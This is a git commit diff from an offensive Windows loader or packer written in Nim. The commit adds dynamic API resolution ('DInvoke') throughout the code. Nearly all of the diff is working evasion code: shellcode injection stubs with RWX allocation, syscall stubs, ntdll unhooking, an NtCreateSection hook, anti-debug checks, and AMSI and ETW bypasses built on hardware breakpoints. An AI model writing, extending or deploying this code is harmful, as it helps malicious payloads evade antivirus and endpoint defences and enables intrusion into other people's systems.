More DInvoke

This commit is contained in:
S3cur3Th1sSh1t
2023-04-11 14:23:03 +02:00
parent 5fd56db4d1
commit 2ba2067918
6 changed files with 298 additions and 114 deletions
+6 -2
View File
@@ -58,8 +58,12 @@ proc AmIDebugged*(): bool =
return false
proc isHeapGrowable*(): bool =
var pHeapFlags = cast[ptr DWORD](cast[ptr BYTE](GetProcessHeap()) + 0x70)
var pHeapForceFlags = cast[ptr DWORD](cast[ptr BYTE](GetProcessHeap()) + 0x74)
when defined(DInvoke):
var pHeapFlags = cast[ptr DWORD](cast[ptr BYTE](MyGetProcessHeap()) + 0x70)
var pHeapForceFlags = cast[ptr DWORD](cast[ptr BYTE](MyGetProcessHeap()) + 0x74)
else:
var pHeapFlags = cast[ptr DWORD](cast[ptr BYTE](GetProcessHeap()) + 0x70)
var pHeapForceFlags = cast[ptr DWORD](cast[ptr BYTE](GetProcessHeap()) + 0x74)
if (pHeapFlags[] != HEAP_GROWABLE) or (pHeapForceFlags[] != 0):
when defined(verbose):
echo obf("[-] Heap is not growable")
+9 -13
View File
@@ -4,7 +4,10 @@ let LocalInjectStub* = """
when defined(wait):
when defined(verbose):
echo obf("Waiting for process to finish via WaitForSingleObject")
WaitForSingleObject(-1, -1)
when defined(DInvoke):
discard MyWaitForSingleObject(-1, -1)
else:
WaitForSingleObject(-1, -1)
else:
discard
@@ -36,37 +39,30 @@ let LocalInjectStub* = """
dataSz : SIZE_T = cast[SIZE_T](friendlycode.len)
when defined(GetSyscallStub):
let syscallStub_NtAlloc = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
when defined(DInvoke):
let syscallStub_NtAlloc = MyVirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
else:
let syscallStub_NtAlloc = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
var syscallStub_NtWrite: HANDLE = cast[HANDLE](syscallStub_NtAlloc) + cast[HANDLE](SYSCALL_STUB_SIZE)
var oldProtection: DWORD = 0
var success: BOOL
# define NtAllocateVirtualMemory
let NtAllocateVirtualMemory = cast[myNtAllocateVirtM](cast[LPVOID](syscallStub_NtAlloc))
when defined(DInvoke):
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
success = VirtualProtect(cast[LPVOID](syscallStub_NtAlloc), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
# define NtWriteVirtualMemory
let NtWriteVirtualMemory = cast[myNtWriteVirtualMemory](cast[LPVOID](syscallStub_NtWrite))
when defined(DInvoke):
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
success = VirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
success = GetSyscallStub(obf("NtAllocateVirtualMemory"), cast[LPVOID](syscallStub_NtAlloc))
success = GetSyscallStub(obf("NtWriteVirtualMemory"), cast[LPVOID](syscallStub_NtWrite))
when defined(LocalCreateThread):
var syscallStub_NtCreate: HANDLE = cast[HANDLE](syscallStub_NtWrite) + cast[HANDLE](SYSCALL_STUB_SIZE)
# define NtCreateThreadEx
let NtCreateThreadEx = cast[myNtCreateThreadEx](cast[LPVOID](syscallStub_NtCreate))
VirtualProtect(cast[LPVOID](syscallStub_NtCreate), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);
success = GetSyscallStub(obf("NtCreateThreadEx"), cast[LPVOID](syscallStub_NtCreate))
when defined(RX):
var syscallStub_NtProtect: HANDLE = cast[HANDLE](syscallStub_NtWrite) + cast[HANDLE](SYSCALL_STUB_SIZE*2)
# define NtProtectVirtualMemory
let NtProtectVirtualMemory = cast[myNtProtectVirtM](cast[LPVOID](syscallStub_NtProtect))
VirtualProtect(cast[LPVOID](syscallStub_NtProtect), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtection);
success = GetSyscallStub(obf("NtProtectVirtualMemory"), cast[LPVOID](syscallStub_NtProtect))
+128 -61
View File
@@ -63,7 +63,7 @@ let UnhookNtdllStub * = """
return false
status = oqiazasusjk(processH, ds, ntdllMappingAddress + hookedSectionHeader.VirtualAddress, pSize, addr bytesWritten);
if status != 0:
when defined(verbose):GetProcAddress
when defined(verbose):
echo obf("[!] oqiazasusjk failed to write bytes to target address:") & fmt"{status}."
return false
status = uashdiasdj(processH, &ds, &pSize, oldProtection, &oldProtection2)
@@ -167,7 +167,10 @@ proc NtCreateSectionHookShellcode[byte](friendlycode: openarray[byte]): void =
dataSz : SIZE_T = cast[SIZE_T](friendlycode.len)
when defined(GetSyscallStub):
let syscallStub_NtAlloc = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
when defined(DInvoke):
let syscallStub_NtAlloc = MyVirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
else:
let syscallStub_NtAlloc = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](SYSCALL_STUB_SIZE),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE)
var syscallStub_NtWrite: HANDLE = cast[HANDLE](syscallStub_NtAlloc) + cast[HANDLE](SYSCALL_STUB_SIZE)
var oldProtection: DWORD = 0
var success: BOOL
@@ -339,8 +342,11 @@ proc redirFunction(redirect: BOOL, SectionHandle: PHANDLE, DesiredAccess: ULONG,
else:
when defined(verbose):
echo obf("[+] Loaded ntdll.dll")
var NtFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache")
when defined(DInvoke):
var NtFlushInstructionCacheAddress = MyGetProcAddress(ntdlldll, obf("NtFlushInstructionCache"))
else:
var NtFlushInstructionCacheAddress = GetProcAddress(ntdlldll,"NtFlushInstructionCache")
if isNil(NtFlushInstructionCacheAddress):
when defined(verbose):
echo obf("[X] Failed to get the address of 'NtFlushInstructionCache'")
@@ -364,8 +370,10 @@ proc redirFunction(redirect: BOOL, SectionHandle: PHANDLE, DesiredAccess: ULONG,
var buffers: HookTrampolineBuffers
buffers.originalBytes = cast[HANDLE](addr g_hookedNtCreate.ntCreateStub[0])
buffers.originalBytesSize = DWORD(sizeof(g_hookedNtCreate.ntCreateStub))
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(obf("ntdll.dll")), obf("NtCreateSection")))
when defined(DInvoke):
var addressToHook: LPVOID = cast[LPVOID](MyGetProcAddress(MyGetModuleHandleA(obf("ntdll.dll")), obf("NtCreateSection")))
else:
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(obf("ntdll.dll")), obf("NtCreateSection")))
var trampolinesuccess: bool = fastTrampoline(false, cast[LPVOID](ntCreate_Address), nil, &buffers)
if (trampolinesuccess == false):
when defined(verbose):
@@ -505,7 +513,10 @@ proc redirFunction(redirect: BOOL, SectionHandle: PHANDLE, DesiredAccess: ULONG,
VirtualProtect(addressToHook, dwSize, dwOldProtect, &dwOldProtect)
return output
proc hookntCreateSection(): bool =
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(obf("ntdll.dll")), obf("NtCreateSection")))
when defined(DInvoke):
var addressToHook: LPVOID = cast[LPVOID](MyGetProcAddress(MyGetModuleHandleA(obf("ntdll.dll")), obf("NtCreateSection")))
else:
var addressToHook: LPVOID = cast[LPVOID](GetProcAddress(GetModuleHandleA(obf("ntdll.dll")), obf("NtCreateSection")))
ntCreate_Address = cast[HANDLE](addressToHook)
when defined(verbose):
echo obf("NtCreateSection Address: "), repr(addressToHook)
@@ -853,7 +864,10 @@ let AmsiStub * = """
# Load amsi.dll if it hasn't be loaded alreay.
if g_amsiScanBufferPtr == nil:
var amsi = GetModuleHandleA(obf("amsi.dll"))
when defined(DInvoke):
var amsi = MyGetModuleHandleA(obf("amsi.dll"))
else:
var amsi = GetModuleHandleA(obf("amsi.dll"))
var ModuleFileName: UNICODE_STRING
when defined(DInvoke):
@@ -875,7 +889,10 @@ let AmsiStub * = """
echo obf("[+] Loaded: amsi.dll")
if amsi != 0:
g_amsiScanBufferPtr = cast[PVOID](GetProcAddress(amsi, obf("AmsiScanBuffer")))
when defined(DInvoke):
g_amsiScanBufferPtr = cast[PVOID](MyGetProcAddress(amsi, obf("AmsiScanBuffer")))
else:
g_amsiScanBufferPtr = cast[PVOID](GetProcAddress(amsi, obf("AmsiScanBuffer")))
if g_amsiScanBufferPtr == nil:
when defined(verbose):
@@ -884,12 +901,20 @@ let AmsiStub * = """
#quit(1)
# add our vectored exception handle
let hExHandler = AddVectoredExceptionHandler(1, AMSIExceptionHandler)
when defined(DInvoke):
let hExHandler = MyRtlAddVectoredExceptionHandler(1, AMSIExceptionHandler)
else:
let hExHandler = RtlAddVectoredExceptionHandler(1, AMSIExceptionHandler)
# Set a hardware breakpoint on AmsiScanBuffer function
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr):
enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0)
SetThreadContext(cast[HANDLE](-2), threadCtx.addr)
when defined(DInvoke):
if MyGetThreadContext(cast[HANDLE](-2), threadCtx.addr):
enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0)
discard MySetThreadContext(cast[HANDLE](-2), threadCtx.addr)
else:
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr):
enableBreakpoint(threadCtx, g_amsiScanBufferPtr, 0)
SetThreadContext(cast[HANDLE](-2), threadCtx.addr)
return cast[HANDLE](hExHandler)
@@ -953,24 +978,7 @@ let AMSIPatchStub * = """
var
status : NTSTATUS = 0x00000000
buffer : LPVOID
#[
when defined(GetSyscallStub):
var syscallStub_NtWrite: HANDLE = cast[HANDLE](syscallStub_NtProtect) + cast[HANDLE](SYSCALL_STUB_SIZE)
# Define NtProtectVirtualMemory
var NtProtectVirtualMemory: myNtProtectVirtM = cast[myNtProtectVirtM](cast[LPVOID](syscallStub_NtProtect))
when defined(DInvoke):
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtProtect), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
success = VirtualProtect(cast[LPVOID](syscallStub_NtProtect), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
# define NtWriteVirtualMemory
let NtWriteVirtualMemory = cast[myNtWriteVirtM](cast[LPVOID](syscallStub_NtWrite))
when defined(DInvoke):
success = MyVirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
else:
success = VirtualProtect(cast[LPVOID](syscallStub_NtWrite), cast[SIZE_T](SYSCALL_STUB_SIZE), PAGE_EXECUTE_READWRITE, addr oldProtection)
success = GetSyscallStub("NtProtectVirtualMemory", cast[LPVOID](syscallStub_NtProtect))
success = GetSyscallStub("NtWriteVirtualMemory", cast[LPVOID](syscallStub_NtWrite))
]#
when defined(SysWhispers):
status = uashdiasdj(pHandle, addr protectAddress,addr friendlycodeLength,0x04,addr t)
@@ -1099,23 +1107,43 @@ when defined(HardwareETW):
OldBaseThreadInitThunk = proc(LdrReserved: DWORD, lpStartAddress: LPTHREAD_START_ROUTINE, lpParameter: LPVOID): void {.stdcall.}
var Kernel32ThreadInitThunkFunction: ULONG_PTR
var fn = cast[ULONG_PTR](GetProcAddress(GetModuleHandleA(obf("kernel32")), obf("BaseThreadInitThunk")))
when defined(DInvoke):
var fn = cast[ULONG_PTR](MyGetProcAddress(MyGetModuleHandleA(obf("kernel32")), obf("BaseThreadInitThunk")))
else:
var fn = cast[ULONG_PTR](GetProcAddress(GetModuleHandleA(obf("kernel32")), obf("BaseThreadInitThunk")))
# This is our hook function, which will set the Breakpoint for a new Thread and afterwards call the original function
proc BaseThreadInitThunk(LdrReserved: DWORD, lpStartAddress: LPTHREAD_START_ROUTINE, lpParameter: LPVOID): void =
when defined(verbose):
echo obf("[*] New Thread created and catched via Hook...")
echo obf("[*] Thread ID: "), GetCurrentThreadId()
when defined(DInvoke):
echo obf("[*] Thread ID: "), MyGetCurrentThreadId()
else:
echo obf("[*] Thread ID: "), GetCurrentThreadId()
# Actually set the Breakpoint for the current Thread
var threadCtx: CONTEXT
threadCtx.ContextFlags = CONTEXT_ALL
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr):
when defined(DInvoke):
if MyGetThreadContext(cast[HANDLE](-2), threadCtx.addr):
enableBreakpoint(threadCtx, g_ntTraceEventBufferPtr, 1)
SetThreadContext(cast[HANDLE](-2), threadCtx.addr)
discard MySetThreadContext(cast[HANDLE](-2), threadCtx.addr)
when defined(verbose):
when defined(DInvoke):
echo obf("Breakpoint set for Thread ID: "), MyGetCurrentThreadId()
else:
echo obf("Breakpoint set for Thread ID: "), GetCurrentThreadId()
# Restore the old function
else:
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr):
enableBreakpoint(threadCtx, g_ntTraceEventBufferPtr, 1)
SetThreadContext(cast[HANDLE](-2), threadCtx.addr)
when defined(verbose):
when defined(DInvoke):
echo obf("Breakpoint set for Thread ID: "), MyGetCurrentThreadId()
else:
echo obf("Breakpoint set for Thread ID: "), GetCurrentThreadId()
# Restore the old function
discard InterlockedCompareExchangePointer(cast[ptr PVOID](Kernel32ThreadInitThunkFunction), cast[PVOID](fn), cast[PVOID](BaseThreadInitThunk))
# Cast it to the old function type and call it afterwards with the original parameters
var oldBaseThreadInitThunk: OldBaseThreadInitThunk = cast[OldBaseThreadInitThunk](fn)
@@ -1126,7 +1154,10 @@ when defined(HardwareETW):
let ETWStub * = """
proc hookBaseThreadInitThunk(): void =
var m = GetModuleHandleA(obf("ntdll"))
when defined(DInvoke):
var m = MyGetModuleHandleA(obf("ntdll"))
else:
var m = GetModuleHandleA(obf("ntdll"))
var nt = cast[PIMAGE_NT_HEADERS](m + cast[PIMAGE_DOS_HEADER](m).e_lfanew)
var sh = IMAGE_FIRST_SECTION(nt)
@@ -1158,7 +1189,10 @@ let ETWStub * = """
proc SetupETWBreakpoints(): void =
# Load ntdll.dll if it hasn't be loaded alreay.
if g_ntTraceEventBufferPtr == nil:
var ntdll = GetModuleHandleA(obf("ntdll.dll"))
when defined(DInvoke):
var ntdll = MyGetModuleHandleA(obf("ntdll.dll"))
else:
var ntdll = GetModuleHandleA(obf("ntdll.dll"))
if(ntdll == 0):
var ModuleFileName: UNICODE_STRING
@@ -1180,16 +1214,25 @@ let ETWStub * = """
echo obf("[+] Loaded: ntdll.dll")
if ntdll != 0:
g_ntTraceEventBufferPtr = cast[PVOID](GetProcAddress(ntdll, obf("NtTraceEvent")))
when defined(DInvoke):
g_ntTraceEventBufferPtr = cast[PVOID](MyGetProcAddress(ntdll, obf("NtTraceEvent")))
else:
g_ntTraceEventBufferPtr = cast[PVOID](GetProcAddress(ntdll, obf("NtTraceEvent")))
if g_ntTraceEventBufferPtr == nil:
when defined(verbose):
echo obf("[-] Failed to Load NtTraceEvent")
#return 0
#quit(1)
# add our vectored exception handle
let hExHandler = AddVectoredExceptionHandler(1, ETWExceptionHandler)
when defined(DInvoke):
let hExHandler = MyRtlAddVectoredExceptionHandler(1, ETWExceptionHandler)
else:
let hExHandler = RtlAddVectoredExceptionHandler(1, ETWExceptionHandler)
when defined(verbose):
echo obf("[*] Monitoring Threads for ") & $GetCurrentProcessId()
when defined(DInvoke):
echo obf("[*] Monitoring Threads for ") & $MyGetCurrentProcessId()
else:
echo obf("[*] Monitoring Threads for ") & $GetCurrentProcessId()
# assuming, we will not have more than 50 Threads, we'll create 50 context structures for each thread.
var threadCtx: array[50, CONTEXT]
@@ -1212,35 +1255,60 @@ let ETWStub * = """
echo obf("[-] Failed to get first thread")
return
while Thread32Next(hThreadSnap, addr te32) != 0:
if te32.th32OwnerProcessID == GetCurrentProcessId():
threads[threadCount] = te32.th32ThreadID
inc threadCount
CloseHandle(hThreadSnap)
when defined(DInvoke):
if te32.th32OwnerProcessID == MyGetCurrentProcessId():
threads[threadCount] = te32.th32ThreadID
inc threadCount
else:
if te32.th32OwnerProcessID == GetCurrentProcessId():
threads[threadCount] = te32.th32ThreadID
inc threadCount
when defined(DInvoke):
discard MyCloseHandle(hThreadSnap)
else:
CloseHandle(hThreadSnap)
# Now we have a list of all the threads in the current process, we can iterate through them and attach a hardware breakpoint to them.
for i in 0 ..< threadCount:
var hThread = OpenThread(THREAD_ALL_ACCESS, false, threads[i])
when defined(DInvoke):
var hThread = MyOpenThread(THREAD_ALL_ACCESS, false, threads[i])
else:
var hThread = OpenThread(THREAD_ALL_ACCESS, false, threads[i])
if hThread == 0:
when defined(verbose):
echo obf("[-] Failed to open thread")
return
#var context: CONTEXT
#context.ContextFlags = CONTEXT_ALL
if GetThreadContext(hThread, threadCtx[i].addr) == 0:
when defined(verbose):
echo obf("[-] Failed to get thread context")
return
when defined(DInvoke):
if MyGetThreadContext(hThread, threadCtx[i].addr) == 0:
when defined(verbose):
echo obf("[-] Failed to get thread context")
return
else:
if GetThreadContext(hThread, threadCtx[i].addr) == 0:
when defined(verbose):
echo obf("[-] Failed to get thread context")
return
# Check if the thread already has a hardware breakpoint set
if (threadCtx[i].Dr7 == 0) or (threadCtx[i].DR7 == DWORD64(0x0000000000000401)#[AMSI Hardware Breakpoint for Main Thread]#):
# Set the hardware breakpoint
enableBreakPoint(threadCtx[i], g_ntTraceEventBufferPtr, 1)
if SetThreadContext(hThread, addr threadCtx[i]) == 0:
when defined(verbose):
echo obf("[-] Failed to set thread context")
return
when defined(DInvoke):
if MySetThreadContext(hThread, addr threadCtx[i]) == 0:
when defined(verbose):
echo obf("[-] Failed to set thread context")
return
else:
if SetThreadContext(hThread, addr threadCtx[i]) == 0:
when defined(verbose):
echo obf("[-] Failed to set thread context")
return
when defined(verbose):
echo obf("[+] Attached Hardware Breakpoint to Thread: ") & $threads[i]
CloseHandle(hThread)
when defined(DInvoke):
discard MyCloseHandle(hThread)
else:
CloseHandle(hThread)
# After setting the Breakpoint for all current Threads, we will also set a hook on BaseThreadInitThunk to also set Breakpoints for new threads.
hookBaseThreadInitThunk()
@@ -1252,7 +1320,10 @@ let ETWStub * = """
var rand = mscor.new(obf("System.Random"))
echo rand.Next()
Decoy()
Sleep(1500)
when defined(DInvoke):
discard MySleep(1500)
else:
Sleep(1500)
SetupETWBreakpoints()
"""
@@ -1523,20 +1594,17 @@ type
CreateFileW_t* = proc (lpFileName: LPCWSTR, dwDesiredAccess: DWORD, dwShareMode: DWORD, lpSecurityAttributes: LPSECURITY_ATTRIBUTES, dwCreationDisposition: DWORD, dwFlagsAndAttributes: DWORD, hTemplateFile: HANDLE): HANDLE {.stdcall.}
SetFileInformationByHandle_t* = proc (hFile: HANDLE, FileInformationClass: FILE_INFO_BY_HANDLE_CLASS, lpFileInformation: LPVOID, dwBufferSize: DWORD): WINBOOL {.stdcall.}
GetModuleFileNameW_t* = proc (hModule: HMODULE, lpFilename: LPWSTR, nSize: DWORD): DWORD {.stdcall.}
CloseHandle_t* = proc (hObject: HANDLE): WINBOOL {.stdcall.}
PathFileExistsW_t* = proc (pszPath: LPCWSTR): WINBOOL {.stdcall.}
const
CreateFileW_HASH * = obf("CreateFileW")
SetFileInformationByHandle_HASH * = obf("SetFileInformationByHandle")
GetModuleFileNameW_HASH * = obf("GetModuleFileNameW")
CloseHandle_HASH * = obf("CloseHandle")
PathFileExistsW_HASH * = obf("PathFileExistsW")
var MyCreateFileW*: CreateFileW_t
var MySetFileInformationByHandle*: SetFileInformationByHandle_t
var MyGetModuleFileNameW*: GetModuleFileNameW_t
var MyCloseHandle*: CloseHandle_t
var MyPathFileExistsW*: PathFileExistsW_t
@@ -1577,7 +1645,6 @@ MySetFileInformationByHandle = cast[SetFileInformationByHandle_t](cast[LPVOID](g
MyGetModuleFileNameW = cast[GetModuleFileNameW_t](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetModuleFileNameW_HASH, 0, FALSE))
MyCloseHandle = cast[CloseHandle_t](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), CloseHandle_HASH, 0, FALSE))
# Works but potentially the ordinal could change later on - this lead to bugs
#MyPathFileExistsW = cast[PathFileExistsW_t](get_function_address(cast[HMODULE](get_library_address(SHLWAPI_DLL, TRUE)), "", 669, FALSE))
+43 -1
View File
@@ -33,7 +33,7 @@ proc getRandStubInFunc(): string =
let DInvokeStubfirst * = """
from winim/lean import ULONG, PVOID, SIZE_T, PSIZE_T, DWORD_PTR,LPDWORD,WINBOOL,TRUE,FALSE,HMODULE,LPOVERLAPPED, PIMAGE_SECTION_HEADER, LPCSTR, LPVOID, HANDLE, DWORD, GENERIC_READ, FILE_SHARE_READ, LPSECURITY_ATTRIBUTES, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, PIMAGE_DOS_HEADER, PIMAGE_NT_HEADERS, IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_FIRST_SECTION, IMAGE_SIZEOF_SECTION_HEADER, PIMAGE_EXPORT_DIRECTORY, PDWORD, BOOL, PULONG, NTSTATUS, PROCESS_ALL_ACCESS, FALSE, MEM_COMMIT, PAGE_EXECUTE_READ_WRITE, PAGE_READWRITE, CLIENT_ID, OBJECT_ATTRIBUTES
from winim import PWCHAR,PUNICODE_STRING,UNICODE_STRING,PHANDLE,LIST_ENTRY,UCHAR,BYTE,P_PEB,LPWSTR,IMAGE_NT_SIGNATURE,USHORT,IMAGE_FILE_DLL,lstrcmpiW,LPWSTR,PWSTR,RtlInitUnicodeString,ULONG_PTR,MAX_PATH,wchar_t,IMAGE_DATA_DIRECTORY,PCHAR,StrRStrIA
from winim import PWCHAR,PUNICODE_STRING,UNICODE_STRING,PHANDLE,LIST_ENTRY,UCHAR,BYTE,P_PEB,LPWSTR,IMAGE_NT_SIGNATURE,USHORT,IMAGE_FILE_DLL,LPWSTR,PWSTR,RtlInitUnicodeString,ULONG_PTR,MAX_PATH,wchar_t,IMAGE_DATA_DIRECTORY,PCHAR,StrRStrIA
import winim/utils
import winim/winstr
@@ -103,6 +103,48 @@ proc GetPPEB(p: culong): P_PEB {.
.}
]#
# we need our own custom lstrcmpiW function here, as that cannot be used when getting rid of dynlib
#[ it could look like the following
int MyLstrcmpiW(const wchar_t* str1, const wchar_t* str2) {
while (*str1 && *str2) {
wchar_t c1 = *str1++;
wchar_t c2 = *str2++;
if (c1 >= 'A' && c1 <= 'Z') {
c1 += ('a' - 'A');
}
if (c2 >= 'A' && c2 <= 'Z') {
c2 += ('a' - 'A');
}
if (c1 != c2) {
return c1 - c2;
}
}
return *str1 - *str2;
}
]#
proc lstrcmpiW(str1: ptr wchar_t, str2: ptr wchar_t): int =
var c1: wchar_t
var c2: wchar_t
# Pointers in Nim are immutable by default and cannot be modified. But if we use the var keyword, we can still modify the pointer (to increase in this case).
var ptr1: ptr wchar_t = str1
var ptr2: ptr wchar_t = str2
while (ptr1[] != 0 and ptr2[] != 0):
c1 = ptr1[]
c2 = ptr2[]
if (c1 >= wchar_t('A') and c1 <= wchar_t('Z')):
c1 += (wchar_t('a') - wchar_t('A'))
if (c2 >= wchar_t('A') and c2 <= wchar_t('Z')):
c2 += (wchar_t('a') - wchar_t('A'))
if (c1 != c2):
return int(c1 - c2)
ptr1 += 1
ptr2 += 1
return int(str1[] - str2[])
"""
let DInvokeGetPEB * = fmt"""
+80 -29
View File
@@ -6,49 +6,115 @@ const
type
#GetCurrentProcess_t* = proc (): DWORD {.stdcall.}
#GetCurrentProcessId_t* = proc (): DWORD {.stdcall.}
GetCurrentProcessId_t* = proc (): DWORD {.stdcall.}
VirtualAllocEx_t* = proc (hProcess: HANDLE, lpAddress: LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD): LPVOID {.stdcall.}
OpenProcess_t* = proc (dwDesiredAccess: DWORD, bInheritHandle: WINBOOL, dwProcessId: DWORD): HANDLE {.stdcall.}
VirtualProtect_t* = proc (lpAddress: LPVOID, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: PDWORD): WINBOOL {.stdcall.}
GetProcessHeap_t* = proc (): HANDLE {.stdcall.}
GetProcAddress_t* = proc (hModule: HMODULE, lpProcName: LPCSTR): FARPROC {.stdcall.}
RtlAddVectoredExceptionHandler_t* = proc (First: ULONG, Handler: PVECTORED_EXCEPTION_HANDLER): PVOID {.stdcall.}
GetModuleHandleA_t* = proc (lpModuleName: LPCSTR): HMODULE {.stdcall.}
GetThreadContext_t* = proc (hThread: HANDLE, lpContext: LPCONTEXT): WINBOOL {.stdcall.}
SetThreadContext_t* = proc (hThread: HANDLE, lpContext: LPCONTEXT): WINBOOL {.stdcall.}
CloseHandle_t* = proc (hObject: HANDLE): WINBOOL {.stdcall.}
OpenThread_t* = proc (dwDesiredAccess: DWORD, bInheritHandle: WINBOOL, dwThreadId: DWORD): HANDLE {.stdcall.}
GetCurrentThreadId_t* = proc (): DWORD {.stdcall.}
WaitForSingleObject_t* = proc (hHandle: HANDLE, dwMilliseconds: DWORD): DWORD {.stdcall.}
when not defined(SkipDefaultSandBoxChecks):
type Sleep_t* = proc (dwMilliseconds: DWORD): DWORD {.stdcall.}
type GetTickCount_t* = proc (): DWORD {.stdcall.}
const
#GetCurrentProcessId_HASH * = obf("GetCurrentProcessId")
GetCurrentProcessId_HASH * = obf("GetCurrentProcessId")
VirtualAllocEx_HASH * = obf("VirtualAllocEx")
#GetCurrentProcess_HASH * = obf("GetCurrentProcess")
OpenProcess_HASH * = obf("OpenProcess")
VirtualProtect_HASH * = obf("VirtualProtect")
GetProcessHeap_HASH * = obf("GetProcessHeap")
GetProcAddress_HASH * = obf("GetProcAddress")
RtlAddVectoredExceptionHandler_HASH * = obf("RtlAddVectoredExceptionHandler")
GetModuleHandleA_HASH * = obf("GetModuleHandleA")
GetThreadContext_HASH * = obf("GetThreadContext")
SetThreadContext_HASH * = obf("SetThreadContext")
CloseHandle_HASH * = obf("CloseHandle")
OpenThread_HASH * = obf("OpenThread")
GetCurrentThreadId_HASH * = obf("GetCurrentThreadId")
WaitForSingleObject_HASH * = obf("WaitForSingleObject")
when not defined(SkipDefaultSandBoxChecks):
const Sleep_HASH * = obf("Sleep")
const GetTickCount_HASH * = obf("GetTickCount")
#var MyGetCurrentProcess*: GetCurrentProcess_t
var MyVirtualAllocEx*: VirtualAllocEx_t
#var MyGetCurrentProcessId*: GetCurrentProcessId_t
var MyGetCurrentProcessId*: GetCurrentProcessId_t
var MyOpenProcess*: OpenProcess_t
var MyVirtualProtect*: VirtualProtect_t
var MyGetProcessHeap*: GetProcessHeap_t
var MyGetProcAddress*: GetProcAddress_t
var MyRtlAddVectoredExceptionHandler*: RtlAddVectoredExceptionHandler_t
var MyGetModuleHandleA*: GetModuleHandleA_t
var MyGetThreadContext*: GetThreadContext_t
var MySetThreadContext*: SetThreadContext_t
var MyCloseHandle*: CloseHandle_t
var MyOpenThread*: OpenThread_t
var MyGetCurrentThreadId*: GetCurrentThreadId_t
var MyWaitForSingleObject*: WaitForSingleObject_t
when not defined(SkipDefaultSandBoxChecks):
var MySleep*: Sleep_t
var MyGetTickCount*: GetTickCount_t
#MyGetCurrentProcess = cast[GetCurrentProcess_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetCurrentProcess_HASH, 0, FALSE)))
#MyGetCurrentProcessId = cast[GetCurrentProcessId_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetCurrentProcessId_HASH, 0, FALSE)))
MyGetCurrentProcessId = cast[GetCurrentProcessId_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetCurrentProcessId_HASH, 0, FALSE)))
MyVirtualProtect = cast[VirtualProtect_t](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), VirtualProtect_HASH, 0, FALSE))
MyOpenProcess = cast[OpenProcess_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), OpenProcess_HASH, 0, FALSE)))
MyGetProcessHeap = cast[GetProcessHeap_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetProcessHeap_HASH, 0, FALSE)))
MyGetProcAddress = cast[GetProcAddress_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetProcAddress_HASH, 0, FALSE)))
MyRtlAddVectoredExceptionHandler = cast[RtlAddVectoredExceptionHandler_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(NTDLL_DLL, TRUE)), RtlAddVectoredExceptionHandler_HASH, 0, FALSE)))
MyGetModuleHandleA = cast[GetModuleHandleA_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetModuleHandleA_HASH, 0, FALSE)))
MyGetThreadContext = cast[GetThreadContext_t](cast[LPVOID](get_function_address(cast[HMODULE](get_library_address(KERNEL32_DLL, TRUE)), GetThreadContext_HASH, 0, FALSE)))
